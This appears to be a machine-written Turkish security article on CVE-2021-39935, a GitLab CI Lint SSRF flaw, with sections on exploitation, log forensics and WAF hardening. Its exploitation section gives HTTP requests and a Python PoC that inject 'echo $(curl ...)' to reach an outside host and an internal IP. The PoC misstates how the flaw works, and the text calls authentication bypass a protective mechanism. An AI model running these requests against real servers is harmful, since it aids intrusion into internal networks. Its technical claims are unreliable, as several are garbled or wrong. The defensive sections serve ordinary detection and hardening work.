CVE-2021-39935: GitLab Community and Enterprise Editions Server-Side Request Forgery (SSRF) Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

GitLab, yazılım geliştiricileri arasında yaygın olarak kullanılan bir platformdur ve bu platform üzerinde gerçekleştirilen projelerde, iş akışlarının yönetimi oldukça kritik bir öneme sahiptir. Ancak, GitLab Community ve Enterprise Editions sürümlerinde 2021 yılında keşfedilen CVE-2021-39935 zafiyeti, güvenlik açısından ciddi bir tehdit teşkil etmektedir. Bu güvenlik açığı, bir sunucu yanıtı sahtekarlığı (Server-Side Request Forgery - SSRF) zafiyetidir ve kötü niyetli kullanıcıların, CI Lint API üzerinden sunucuya zararlı talepler göndermesine olanak tanımaktadır.

Zafiyetin detaylarına girmeden önce, SSRF saldırılarının temelini anlamak önemlidir. SSRF saldırıları, genellikle bir uygulamanın kendi sunucusu üzerinden başka bir hedefe istek yaparak bu hedefin nasıl çalıştığını keşfetmeye veya verilere erişmeye yönelik gerçekleştirilen saldırılardır. CVE-2021-39935 zafiyeti, GitLab’ın CI Lint API’sinin doğru bir şekilde denetlenmemesi sonucunda ortaya çıkmıştır. Bu açık, kötü niyetli kullanıcıların, yetkisiz bir şekilde dış servislere erişim sağlamalarına yol açabilir. Örneğin, bir saldırgan, özellikle bulut tabanlı hizmetler veya iç ağlar üzerinde kritik verilere ulaşabilir.

Zafiyetin keşfinin ardından GitLab, ilgili sürümlerde bu açığı kapatmak için gerekli yamaları hızlı bir şekilde yayınladı. Bu tür zafiyetlerin zamanında tespit edilip kapatılması, yazılım geliştirme süreçlerinde kritik bir öneme sahiptir. Üretim ortamlarında kullanılan yazılımlar üzerinden meydana gelen SSRF saldırıları, büyük veri kayıplarına veya sistemin çökmesine neden olabilir.

Gerçek dünya senaryolarından bir örnek vermek gerekirse, bir finans platformu, GitLab’ı proje yönetimi için kullanıyor olabilir. Bu platformda, hassas verilerin depolandığı bir istemci sunucusu bulunmaktadır. Kötü niyetli bir kullanıcı, GitLab’ın CI Lint API aracılığıyla bu sunucuya istekler gönderirse, hem gizli verilere ulaşabilir hem de istemci sunucusunda yetkisiz işlemler gerçekleştirebilir. Bu tür bir durum, yalnızca finansal kayıplara yol açmakla kalmaz, aynı zamanda müşteri güveninin de ciddi şekilde zedelenmesine neden olabilir.

CVE-2021-39935 zafiyeti, dünya genelinde birçok sektörü etkilemiştir. Özellikle, teknoloji, finans, sağlık ve eğitim gibi veri yoğun sektörlerde, güvenlik boşlukları önemli birer tehdit oluşturur. Çünkü bu sektörlerde hassas veriler sıkça işlenmekte ve saklanmaktadır. Zafiyetin etkileri, sadece ilgili platformun kullanıcılarıyla sınırlı kalmayıp, genel olarak sistemin güvenliğini de sorgulanır hale getirebilir.

Zafiyetin bulunduğu kütüphane, GitLab’ın CI Lint API’sidir. Bu API, sürekli entegrasyon süreçlerinin bir parçası olarak kullanıcılara çeşitli hizmetler sunmakta ve GitLab’ın otomasyon yeteneklerini artırmaktadır. Ancak, bu tür API’lerin güvenliğini önceliklendirmek, olası saldırı vektörlerini minimize etmek açısından kritik önem taşımaktadır. Örneğin, API çağrılarının bir kimlik doğrulama (Auth Bypass - Kimlik Doğrulama Atlatma) mekanizması ile korunması, bu tür zafiyetlerin keşfini ve istismarını zorlaştırabilir.

Sonuç olarak, CVE-2021-39935 zafiyeti, yazılım geliştirme süreçlerinde güvenliğin her zaman ön planda tutulması gerektiğinin somut bir örneğidir. GitLab gibi kritik yazılımlardaki güvenlik zafiyetlerinin farkında olmak, potansiyel tehditlerin farkında olmak ve gerekli önlemleri almak, tüm sektörler için hayati önem taşır. Bunu başarmanın en etkili yollarından biri, yazılım güncellemelerini düzenli olarak takip etmek ve olası güvenlik açıklarını hızla kapatmaktır.

Teknik Sömürü (Exploitation) ve PoC

GitLab, dünya genelinde yazılım geliştirme için popüler bir platformdur ve bu nedenle güvenlik açıkları, kullanıcılarının verilerini ve projelerini tehdit edebilir. CVE-2021-39935, GitLab'ın Community ve Enterprise Editions versiyonlarında bulunan kritik bir Server-Side Request Forgery (SSRF) zafiyetidir. Bu zafiyet, yetkisiz dış kullanıcıların CI Lint API aracılığıyla sunucu tarafında istekler yapmalarına olanak tanır. Bu bölümde, bu zafiyetin nasıl sömürülebileceğine dair adım adım bir rehber sunulacaktır.

İlk adım olarak, GitLab sunucusuna erişim sağlamak gerekir. Zafiyet üzerinde çalışmak için, sunucuda running (çalışan) bir GitLab instance’ına sahip olmalısınız. Sunucu erişimi sağlayamıyorsanız, bu zafiyeti kullanarak hedefe ulaşmak mümkün olmayacaktır. Aşağıdaki HTTP isteklerini kullanarak GitLab CI Lint API'sine bir istek gönderebiliriz:

POST /ci/lint HTTP/1.1
Host: hedef-gitlab-sunucusu.com
Content-Type: application/json

{
    "content": "echo $(curl http://istek-url.com)"
}

Yukarıdaki istekte, curl komutunu kullanarak başka bir URL’ye (istek-url.com) istek gönderiyoruz. GitLab sunucusu, bu isteği kendi sunucusundaki bağlamda işleyerek istek-url.com yanıtını alacak ve işleyecektir. Eğer bu URL’ye erişiminiz varsa, yanıtı sunucudan alabilmeniz mümkündür.

Sonraki adımda, potansiyel bir hedef URL belirlenmelidir. Bu kısmı daha da genişletmek için, örneğin, iç ağda bulunan bir hizmete erişmek istiyoruz. Bunu gerçekleştirmek için aşağıdaki HTTP isteğini gönderebiliriz:

POST /ci/lint HTTP/1.1
Host: hedef-gitlab-sunucusu.com
Content-Type: application/json

{
    "content": "echo $(curl http://192.168.1.10:8080)"
}

Burada, 192.168.1.10:8080 IP adresine bir istek yapıyoruz. Sunucunun bu IP adresine erişimi varsa, iç ağda bulunan bir servisi kolayca keşfedebiliriz. Böyle bir senaryo, özellikle iç ağda gizli bilgiler veya yönetim panelleri bulunuyorsa oldukça tehlikeli olabilir.

Elde edilen bilgiler, potansiyel bir RCE (uzaktan kod çalıştırma) açığına yol açabilir. Hedeflediğimiz servisin zayıflıkları varsa, elde edilen bilgilerle birlikte yeni bir exploit geliştirmek mümkündür. Örneğin, eğer iç ağda bir web uygulaması çalışıyorsa ve o uygulama da bir Auth Bypass (yetki atlama) zafiyeti içeriyorsa, kullanıcının kimlik doğrulama mekanizmasını atlayarak sensitif verilere ulaşmanız mümkün olabilir.

Son olarak, GitLab üzerinde SSRF zafiyetinin sömürüldüğüne dair bir örnek PoC (Proof of Concept) kodu aşağıdaki gibidir:

import requests
import json

gitlab_url = "http://hedef-gitlab-sunucusu.com/ci/lint"
payload = {
    "content": "echo $(curl -s http://192.168.1.10:8080)"
}

response = requests.post(gitlab_url, json=payload)

if response.status_code == 200:
    print("İstek başarılı. Sunucudan gelen yanıt:")
    print(response.content)
else:
    print("İstek başarısız. Durum kodu:", response.status_code)

Bu kod parçası, GitLab CI Lint API'sine istek gönderip, iç ağdaki bir servisten yanıt almanızı sağlar. Zafiyetin sağladığı erişimle, iç ağda yer alan diğer sistemlere veya hizmetlere yönelerek daha fazla bilgi elde edilebilir.

Sonuç olarak, CVE-2021-39935 zafiyeti, potansiyel olarak ciddi güvenlik sorunlarına yol açabilecek bir SSRF zafiyetidir. Bu tür zafiyetlerin keşfi, bir organizasyonun güvenlik önlemlerini gözden geçirmesi ve gerekli yamaları uygulaması açısından büyük önem taşımaktadır. White Hat Hackerlar için bu tür zafiyetler, güvenlik açıklarını kapatmak ve sistemleri daha güvenli hale getirmek için öğrenme fırsatları sunar.

Forensics (Adli Bilişim) ve Log Analizi

GitLab Community ve Enterprise Editions'da bulunan CVE-2021-39935 zafiyeti, Server-Side Request Forgery (SSRF) olarak bilinen bir tür güvenlik açığıdır. Bu zafiyet, kullanıcıların GitLab CI Lint API'si aracılığıyla yetkisiz dış bağlantılar yapmasına olanak tanır. SSRF, kötü niyetli bir kullanıcının, sunucu üzerinden istekler göndererek iç kaynaklara erişim sağlaması veya dış sistemlere saldırı düzenlemesi olarak tanımlanabilir. Bu makalede, siber güvenlik profesyonellerinin bu tür saldırıları nasıl tespit edebileceğini ve log analizinin önemini vurgulayacağız.

Bir siber güvenlik uzmanı, GitLab üzerinde yaşanan bir SSRF saldırısını tespit etmek için öncelikle SIEM (Security Information and Event Management) sistemlerini kullanabilir. Bu sistemlerde erişim logları (access log) ve hata logları (error log) gibi çeşitli log dosyaları analiz edilmelidir. Log analizleri sırasında, aşağıdaki etkileyici imzalara (signature) dikkat edilmesi gerekmektedir:

Şüpheli URL İstekleri: GitLab CI Lint API'sine yönlendirilen beklenmedik veya başka bir domaine ait IP'lerden gelen istekler gözlemlenmelidir. Özellikle aşağıdaki türde URL'lerde anomali aranmalıdır:

   GET /api/v4/ci/lint HTTP/1.1
   Host: <hedef-domain>

Karakter Dizileri: Sunucu yanıtlarında aşırı uzun veya beklenmedik karakter dizileri varsa, bu durum potansiyel bir SSRF saldırısının belirtisi olabilir. Kötü niyetli kullanıcılar genellikle bu tür diziler kullanarak sunucu üzerindeki uygulama mantığını manipüle etmeye çalışır.
İzin İhlalleri: Log dosyalarında "403 Forbidden" veya "401 Unauthorized" hataları, özellikle yetkisiz yolların erişim talepleri için sıkça görülür. Eğer bu tür hatalar artıyorsa, bu durum kötü niyetli bir faaliyetin göstergesi olabilir.
Çok Fazla Başarısız İstek: Eğer loglarda aynı IP adresinden gelen çok sayıda başarısız istek varsa, bu bir brute-force (kaba kuvvet) saldırısını gösterebilir. Bu tür saldırılar, çoğunlukla SSRF gibi zafiyetler aracılığıyla başlayabilir.

Gerçek dünya senaryolarından birinde, bir siber güvenlik uzmanı, GitLab sistemine yapılan isteklerin loglarını analiz ederken, özellikle belirli bir IP adresinden gelen alışılmadık istekler tespit edebilir. Diyelim ki bu IP adresi, iç ağda yer alan, kullanıcılara ait olmayan bir dış domain’e erişmeye çalışıyorsa; bu potansiyel bir saldırı belirtilerinin başında gelebilir.

Log analizlerinde, bu tür kontroller sırasında, dosya transfer protokollerine (FTP, HTTP, HTTPS) yönelik yönlendirme istekleri olup olmadığı da göz önünde bulundurulmalıdır. Bu, zorla erişim (unauthorized access) veya diğer kötü niyetli aktivitelerin tespitinde önemli bir rol oynar.

Sonuç olarak, CVE-2021-39935 gibi SSRF zafiyetlerinin tespit edilmesi, yalnızca zararlı etkinliklerin tanımlanması için değil, aynı zamanda gelecekteki saldırılara karşı koruma sağlamak için de kritik öneme sahiptir. Log analizi ve SIEM araçları kullanılarak, siber güvenlik uzmanları tehlikeleri zamanında tespit edip önleyici tedbirler alabilir. Bu tür zafiyetlere karşı oluşturulacak izleme sistemleri, bir organizasyonun güvenlik duruşunu güçlendirecek anahtar unsurlardır.

Savunma ve Sıkılaştırma (Hardening)

GitLab Community ve Enterprise Editions (CE/EE), yazılım geliştirme süreçlerini yönetmek için yaygın olarak kullanılan güçlü araçlardır. Ancak, CVE-2021-39935 kodlu zafiyet, bu platformda yer alan bir sunucu tarafı istek sahtekarlığı (SSRF) açığının varlığı nedeniyle ciddi güvenlik riskleri taşımaktadır. Bu güvenlik açığı, kötü niyetli kullanıcıların CI Lint API üzerinden sunucu istekleri gerçekleştirmesine olanak tanıyarak, hassas verilere veya hizmetlere erişimine yol açabilir.

GitLab'ı kullanarak projeler geliştiren organizasyonlar için, bu tür zafiyetlerin ciddi etkilere yol açabileceği açıktır. Örneğin, bir saldırganın böyle bir SSRF açığını kullanarak, iç ağda gizli olan bir kaynağa erişim sağlaması veya bir harici hizmete saldırmak için GitLab'ın yetkilerini kullanması mümkündür. Bu durum, yalnızca verilerin sızdırılması değil, aynı zamanda yetkisiz işlem yapılması gibi sonuçlar doğurabilir.

Açığın kapatılmasına yönelik olarak, öncelikle GitLab uygulamalarının en son sürümlerine güncellenmesi önerilmektedir. En güncel sürümler, bu tür zafiyetlerin giderilmesi ve güvenlik iyileştirmelerinin yapılması açısından kritik öneme sahiptir. Bunun yanı sıra, uygulama yapılandırmalarında sıkılaştırma (hardening) adımlarına dikkat edilmesi gerekmektedir.

Açığın kapatılması için yapılabilecek diğer bir yaklaşım, Web Uygulama Güvenlik Duvarı (WAF) kuralları ekleyerek istekleri denetlemektir. Örneğin, aşağıdaki kurallar eklenerek potansiyel zararlı isteklerin filtrelenmesi sağlanabilir:

SecRule REQUEST_METHOD "POST" "id:1001,phase:1,t:none,t:urlDecodeUni,chain"
SecRule REQUEST_URI "@streq /ci/lint" "t:none,deny,status:403"

Bu kural, POST isteklerini kontrol eder ve ci/lint yoluna erişim sağlayan tüm istekleri reddedecek şekilde yapılandırılmıştır. Benzer şekilde, belirli iç IP adreslerine izin vermek veya sadece belirli kullanıcılar için bu API'yi aktif yapmak da bir diğer koruma yöntemi olabilir.

Kalıcı sıkılaştırma adına, gereksiz servislerin kapatılması ve sadece gerekli olan portların açılması gibi önlemler de alınmalıdır. Aynı zamanda, GitLab üzerinde kullanıcı izinlerinin dikkatlice yapılandırılması ve yalnızca gerekli hakların verilmesi, potansiyel bir istismar alanını azaltacaktır. Bu tür bir erişim kontrolü, oturum açma işlemlerinde iki faktörlü kimlik doğrulama (2FA) uygulanmasıyla güçlendirilebilir; böylece yetkisiz kullanıcıların sisteme girişi zorlaştırılabilir.

Sonuç olarak, CVE-2021-39935 açıkça gösteriyor ki, zafiyetler sadece teknik bir sorumluluk değil, aynı zamanda organizasyonların güvenlik kültürünün bir parçası olarak ele alınmalıdır. Yazılım güvenliği ve sistem yönetimi pratiğinin sürekli olarak dinamik bir yaklaşım gerektirdiğinin farkında olmak, sadece kuşkulu durumlarda değil, her gün haberdar olmak gereken bir konudur. Bu tür zafiyetlerin yönetimi, organizasyonların itibarını korumak, müşteri güvenini sağlamak ve olası veri ihlallerinin önüne geçmek adına hayati öneme sahiptir.